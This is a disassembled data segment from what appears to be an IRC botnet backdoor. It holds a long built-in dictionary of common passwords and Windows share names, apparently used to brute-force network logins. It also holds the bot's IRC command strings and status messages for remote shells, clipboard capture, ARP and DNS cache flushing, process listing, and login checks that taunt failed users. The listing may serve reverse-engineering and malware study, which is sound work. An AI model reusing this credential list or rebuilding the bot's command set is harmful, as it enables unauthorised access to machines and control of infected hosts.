aAnimal		db 'animal',0           ; DATA XREF: seg002:00422994o
		align 4
aAngie		db 'angie',0            ; DATA XREF: seg002:00422990o
		align 10h
aAngerine	db 'angerine',0         ; DATA XREF: seg002:0042298Co
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg002:00422988o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: seg002:00422984o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg002:00422980o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: seg002:0042297Co
		align 10h
aAndroid	db 'android',0          ; DATA XREF: seg002:00422978o
aAndrea		db 'andrea',0           ; DATA XREF: seg002:00422974o
		align 10h
aAnchor		db 'anchor',0           ; DATA XREF: seg002:00422970o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: seg002:0042296Co
aAnarchis	db 'anarchis',0         ; DATA XREF: seg002:00422968o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg002:00422964o
		align 4
aAnal		db 'anal',0             ; DATA XREF: seg002:00422960o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg002:0042295Co
		align 4
aAmerica	db 'america',0          ; DATA XREF: seg002:00422958o
aAmber		db 'amber',0            ; DATA XREF: seg002:00422954o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: seg002:00422950o
		align 10h
aAmadeus	db 'amadeus',0          ; DATA XREF: seg002:0042294Co
aAlphabet	db 'alphabet',0         ; DATA XREF: seg002:00422948o
		align 4
aAllow		db 'allow',0            ; DATA XREF: seg002:00422944o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg002:00422940o
aAlison		db 'alison',0           ; DATA XREF: seg002:0042293Co
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg002:00422938o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: seg002:00422934o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg002:00422930o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: seg002:0042292Co
aAlias		db 'alias',0            ; DATA XREF: seg002:00422928o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: seg002:00422924o
aAlexande	db 'alexande',0         ; DATA XREF: seg002:00422920o
		align 4
aAlex		db 'alex',0             ; DATA XREF: seg002:0042291Co
		align 10h
aAlert		db 'alert',0            ; DATA XREF: seg002:00422918o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: seg002:00422914o
		align 10h
aAlbatros	db 'albatros',0         ; DATA XREF: seg002:00422910o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg002:0042290Co
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: seg002:00422908o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg002:00422904o
		align 4
aAids		db 'aids',0             ; DATA XREF: seg002:00422900o
		align 10h
aAerobics	db 'aerobics',0         ; DATA XREF: seg002:004228FCo
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg002:004228F8o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: seg002:004228F4o
		align 10h
aAdrian		db 'adrian',0           ; DATA XREF: seg002:004228F0o
		align 4
aAdam		db 'adam',0             ; DATA XREF: seg002:004228ECo
		align 10h
aAction		db 'action',0           ; DATA XREF: seg002:004228E8o
		align 4
aAccount	db 'account',0          ; DATA XREF: seg002:004228E4o
aAcademic	db 'academic',0         ; DATA XREF: seg002:004228DCo
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg002:004228D8o
		align 4
a000000		db '000000',0           ; DATA XREF: seg002:004228D4o
					; seg002:004242ECo
		align 10h
a00000		db '00000',0            ; DATA XREF: seg002:004228D0o
					; seg002:004242E8o
		align 4
a0000		db '0000',0             ; DATA XREF: seg002:004228CCo
					; seg002:004242E4o
		align 10h
a000		db '000',0              ; DATA XREF: seg002:004228C8o
					; seg002:004242E0o
aTesting	db 'testing',0          ; DATA XREF: seg002:004228C4o
aDeath		db 'death',0            ; DATA XREF: seg002:004228C0o
		align 4
a00		db '00',0               ; DATA XREF: seg002:004228BCo
					; seg002:004242DCo
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg002:004228B4o
					; seg002:0042472Co
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg002:004228B0o
					; seg002:00424728o
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg002:004228ACo
					; seg002:00424724o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg002:004228A8o
					; seg002:00424720o
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg002:004228A4o
					; seg002:0042471Co
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: seg002:004228A0o
					; seg002:00424718o
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: seg002:0042289Co
					; seg002:00424714o
aXx		db 'xx',0               ; DATA XREF: seg002:00422898o
					; seg002:00424710o
		align 4
asc_428F68:				; DATA XREF: seg002:00422894o
					; seg002:0042470Co
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg002:00422890o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg002:0042288Co
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg002:00422888o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: seg002:00422884o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg002:00422880o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg002:0042287Co
		align 4
aScript		db 'script',0           ; DATA XREF: seg002:00422878o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg002:00422874o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: seg002:00422870o
		align 4
aL337		db 'l337',0             ; DATA XREF: seg002:0042286Co
		align 4
aL33t		db 'l33t',0             ; DATA XREF: seg002:00422868o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg002:00422864o
		align 4
aKiller		db 'killer',0           ; DATA XREF: seg002:00422860o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg002:0042285Co
					; seg002:00424348o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: seg002:00422858o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg002:00422854o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: seg002:00422850o
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: seg002:0042284Co
aSatanik	db 'satanik',0          ; DATA XREF: seg002:00422848o
aSatan		db 'satan',0            ; DATA XREF: seg002:00422844o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: seg002:00422840o
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: seg002:0042283Co
aMatt		db 'Matt',0             ; DATA XREF: seg002:00422838o
		align 10h
aMat		db 'Mat',0              ; DATA XREF: seg002:00422834o
aPw		db 'pw',0               ; DATA XREF: seg002:00422830o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: seg002:0042282Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: seg002:00422828o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg002:00422824o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: seg002:00422820o
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: seg002:0042281Co
aMypc		db 'mypc',0             ; DATA XREF: seg002:00422818o
		align 10h
aLove		db 'love',0             ; DATA XREF: seg002:00422814o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg002:00422810o
aLogin		db 'login',0            ; DATA XREF: seg002:0042280Co
		align 4
aHome		db 'home',0             ; DATA XREF: seg002:00422808o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg002:00422804o
					; seg002:0042474Co
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: seg002:00422800o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg002:004227FCo
					; seg002:004246B8o
		align 4
aSecret		db 'secret',0           ; DATA XREF: seg002:004227F8o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg002:004227F4o
					; seg002:00424764o
		align 4
aPc		db 'pc',0               ; DATA XREF: seg002:004227F0o
		align 4
aWin		db 'win',0              ; DATA XREF: seg002:004227ECo
aTest123	db 'test123',0          ; DATA XREF: seg002:004227E8o
aAbc		db 'abc',0              ; DATA XREF: seg002:004227E4o
aAaa		db 'aaa',0              ; DATA XREF: seg002:004227E0o
					; seg002:0042468Co
aA_1:					; DATA XREF: seg002:004227DCo
					; seg002:00424684o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg002:004227D8o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: seg002:004227D4o
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: seg002:004227D0o
aIrule		db 'irule',0            ; DATA XREF: seg002:004227CCo
		align 10h
aOwned		db 'owned',0            ; DATA XREF: seg002:004227C8o
		align 4
a0wned		db '0wned',0            ; DATA XREF: seg002:004227C4o
					; seg002:0042434Co
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: seg002:004227C0o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg002:004227BCo
		align 4
aDevil		db 'devil',0            ; DATA XREF: seg002:004227B8o
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: seg002:004227B4o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: seg002:004227B0o
		align 10h
aGod		db 'god',0              ; DATA XREF: seg002:004227ACo
aSex_0		db 'sex',0              ; DATA XREF: seg002:004227A8o
aPat		db 'pat',0              ; DATA XREF: seg002:004227A4o
aPatrick	db 'patrick',0          ; DATA XREF: seg002:004227A0o
aAlpha		db 'alpha',0            ; DATA XREF: seg002:0042279Co
		align 4
a007		db '007',0              ; DATA XREF: seg002:00422798o
					; seg002:00424338o
a123abc		db '123abc',0           ; DATA XREF: seg002:00422794o
					; seg002:00424548o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: seg002:00422790o
					; seg002:00424554o
		align 4
a123123		db '123123',0           ; DATA XREF: seg002:0042278Co
					; seg002:004244F4o
		align 4
a121212		db '121212',0           ; DATA XREF: seg002:00422788o
					; seg002:004244ECo
		align 4
a111111		db '111111',0           ; DATA XREF: seg002:00422784o
					; seg002:00424364o
		align 4
a110		db '110',0              ; DATA XREF: seg002:00422780o
					; seg002:004244B8o
a2600		db '2600',0             ; DATA XREF: seg002:0042277Co
					; seg002:00424640o
		align 4
a2002		db '2002',0             ; DATA XREF: seg002:00422774o
					; seg002:0042462Co
		align 10h
aXp_0		db 'xp',0               ; DATA XREF: seg002:00422770o
		align 4
aEnable		db 'enable',0           ; DATA XREF: seg002:0042276Co
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg002:00422768o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg002:00422764o
a123asd		db '123asd',0           ; DATA XREF: seg002:00422760o
					; seg002:0042454Co
		align 4
aSuper		db 'super',0            ; DATA XREF: seg002:0042275Co
		align 4
aInternet	db 'Internet',0         ; DATA XREF: seg002:00422758o
		align 10h
a123qwe		db '123qwe',0           ; DATA XREF: seg002:00422750o
					; seg002:00424550o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: seg002:0042274Co
		align 10h
aAbc123		db 'abc123',0           ; DATA XREF: seg002:00422744o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: seg002:00422740o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: seg002:00422738o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: seg002:00422734o
		align 10h
a88888888	db '88888888',0         ; DATA XREF: seg002:00422730o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg002:0042272Co
					; seg002:0042436Co
		align 4
a111		db '111',0              ; DATA XREF: seg002:00422728o
					; seg002:00424358o
a54321		db '54321',0            ; DATA XREF: seg002:00422724o
					; seg002:0042464Co
		align 4
a654321		db '654321',0           ; DATA XREF: seg002:00422720o
					; seg002:00424650o
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:0042271Co
					; seg002:0042450Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: seg002:00422718o
					; seg002:00424508o
		align 4
a1234567	db '1234567',0          ; DATA XREF: seg002:00422714o
					; seg002:00424504o
a123456		db '123456',0           ; DATA XREF: seg002:00422710o
					; seg002:00424500o
		align 4
a12345		db '12345',0            ; DATA XREF: seg002:0042270Co
					; seg002:004244FCo
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:00422708o
					; seg002:004244F8o
		align 4
a123		db '123',0              ; DATA XREF: seg002:00422704o
					; seg002:004244F0o
a12		db '12',0               ; DATA XREF: seg002:00422700o
					; seg002:004244E4o
		align 4
a1:					; DATA XREF: seg002:004226FCo
					; seg002:00424350o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg002:004226F8o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg002:004226F4o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: seg002:004226F0o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: seg002:004226ECo
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg002:004226E8o
		align 10h
aLocal		db 'LOCAL',0            ; DATA XREF: seg002:004226E4o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: seg002:004226E0o
		align 10h
aServer_1	db 'SERVER',0           ; DATA XREF: seg002:004226DCo
					; seg002:00424A9Co
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg002:004226D8o
					; seg002:004246ECo ...
		align 10h
aBackup		db 'BACKUP',0           ; DATA XREF: seg002:004226D4o
					; seg002:00424A94o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: seg002:004226CCo
					; seg002:00424A8Co
		align 10h
aTest		db 'TEST',0             ; DATA XREF: seg002:004226C8o
					; seg002:00424A88o
		align 4
aEdu		db 'edu',0              ; DATA XREF: seg002:004226C4o
					; seg002:00424A84o
aOwner_1	db 'Owner',0            ; DATA XREF: seg002:004226C0o
					; seg002:00424A80o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: seg002:004226BCo
					; seg002:00424A7Co
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg002:004226B8o
					; seg002:00424A78o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: seg002:004226B4o
					; seg002:00424A74o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg002:004226B0o
					; seg002:00424A70o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: seg002:004226ACo
					; seg002:00424A6Co
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg002:004226A8o
					; seg002:00424A68o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: seg002:004226A4o
					; seg002:00424A64o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg002:004226A0o
					; seg002:00424A60o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: seg002:0042269Co
					; seg002:00424A5Co
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg002:00422698o
					; seg002:00424A58o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: seg002:00422694o
					; seg002:00424A54o
		align 10h
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg002:00422690o
					; seg002:00424A50o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: seg002:00422688o
					; seg002:00424A48o
		align 10h
aGuest_1	db 'GUEST',0            ; DATA XREF: seg002:00422684o
					; seg002:00424A44o
		align 4
aBla		db 'bla',0              ; DATA XREF: seg002:00422680o
					; seg002:00424A40o
aFubar		db 'fubar',0            ; DATA XREF: seg002:0042267Co
					; seg002:00424A3Co
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg002:00422670o
					; seg002:00424A30o
		align 4
aDb2		db 'db2',0              ; DATA XREF: seg002:00422660o
aOracle		db 'oracle',0           ; DATA XREF: seg002:0042265Co
					; seg002:00422748o
		align 10h
aDba		db 'dba',0              ; DATA XREF: seg002:00422658o
aDatabase	db 'database',0         ; DATA XREF: seg002:00422654o
					; seg002:0042273Co
		align 10h
aDefault	db 'default',0          ; DATA XREF: seg002:00422650o
					; seg002:00422DDCo
aGuest_0	db 'guest',0            ; DATA XREF: seg002:0042264Co
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:00422648o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:00422644o
					; seg002:00423D70o
aStudent	db 'student',0          ; DATA XREF: seg002:00422640o
					; seg002:00423CB8o
aOwner		db 'owner',0            ; DATA XREF: seg002:0042263Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg002:00422638o
					; seg002:00422754o
		align 10h
aRoot		db 'root',0             ; DATA XREF: seg002:00422634o
					; seg002:0042268Co ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg002:00422630o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: seg002:0042262Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: seg002:00422628o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:00422624o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:00422620o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:0042261Co
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:00422618o
					; seg002:00422678o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40E88D:loc_40E998o
					; seg002:00422614o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg002:off_422568o
a@room		db '*@room',0           ; DATA XREF: seg002:off_422564o
		align 10h
dword_429460	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00408ACCo
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h, 25207325h, 25222064h,	2273h
dword_429498	dd 255C7325h, 73hdword_4294A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_408C63+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_408DCB+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_408DCB+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040DF3Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040DF29o
		align 4
dword_429518	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DF15o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_42954C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DEF8o
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 10h
dword_429580	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DE88o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 10h
dword_4295C0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DE2Ao
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:0040DE1Bo
					; seg000:0040DE79o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:0040DE07o
					; seg000:0040DE65o
		align 4
asc_42964C:				; DATA XREF: seg000:0040DDD7o
		unicode	0, <~>,0
dword_429650	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DD86o
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_429688	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DCCCo
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_4296C8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DCC4o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_429708	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DC6Fo
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_42972C	db    2			; DATA XREF: seg000:0040DC60o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_4	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42977C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:0040DBE6o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:0040DBE0o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:0040DBD9o
		align 10h
aSec		db 'sec',0              ; DATA XREF: seg000:0040DB7Eo
aSecure		db 'secure',0           ; DATA XREF: seg000:0040DB6Do
		align 4
dword_4297CC	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4297DC	dd 646E6946h, 6C696620h, 65hdword_4297E8	dd 72027002h, 1F631F6Fh, 2E2Ehdword_4297F4	dd 636F7250h, 20737365h, 7473696Ch, 0dword_429804	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DAFEo
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DAF1o
		align 4
dword_429848	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DADCo
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DACFo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040DAA7o
		align 4
dword_42989C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DA5Bo
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_4298DC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DA1Do
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_429908	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040D9F2o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_429954	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040D987o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_429984	dd 627573h	dword_429988	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D912o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_4299B4	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:0040D8F7o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_5	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_429A00	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:0040D86Ao
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_429A2C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D7E6o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_429A58	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D7B7o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_429A84	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D762o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_429AB0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040D740o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_6	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_429B00	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040D6D1o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: seg000:0040D6B1o
		align 4
dword_429B3C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040D64Fo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 10h
dword_429B70	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D601o
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_429B9C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_40D564o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 10h
dword_429BD0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040D55Do
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_429C0C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040D541o
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_429C48	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D52Bo
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:0040D4FDo
		align 4
unk_429C8C	db    2			; DATA XREF: seg000:loc_40D4EDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_429CCC	db    2			; DATA XREF: seg000:0040D4D2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_429D04	db    2			; DATA XREF: seg000:loc_40D4C2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_429D44	db    2			; DATA XREF: seg000:loc_40D4BBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_429D84	db    2			; DATA XREF: seg000:0040D4B4o
		db 65h,	2, 28h
